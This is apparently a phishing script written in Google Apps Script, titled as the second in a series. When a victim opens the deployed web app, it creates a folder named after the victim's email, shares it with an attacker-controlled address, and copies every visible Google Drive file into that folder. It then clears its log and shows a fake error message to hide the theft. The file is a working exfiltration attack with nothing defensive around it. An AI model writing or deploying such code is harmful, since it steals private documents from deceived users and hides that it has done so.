Google App Script Phishing #2

driveSearch.gs

function driveSearch() {
  // Setup the exfil folder
  var user = Session.getActiveUser().getEmail();
  var folder = DriveApp.createFolder(user);
  var attackerEmail = "[email protected]";
  folder.addViewer(attackerEmail);
  
  // Search Drive
  var files = DriveApp.searchFiles('hidden = false');
  // Iterate through files in Drive
  while (files.hasNext()) {
    var file = files.next();
    var name = file.getName();
    Logger.log(name);
    // Exfiltrate each file
    //file.addViewer(attackerEmail);
    file.makeCopy(name, folder);
  }
  Logger.clear();
}

function doGet(e) {
  var params = JSON.stringify(e);
  driveSearch();
  return HtmlService.createHtmlOutput('An error has occured');
}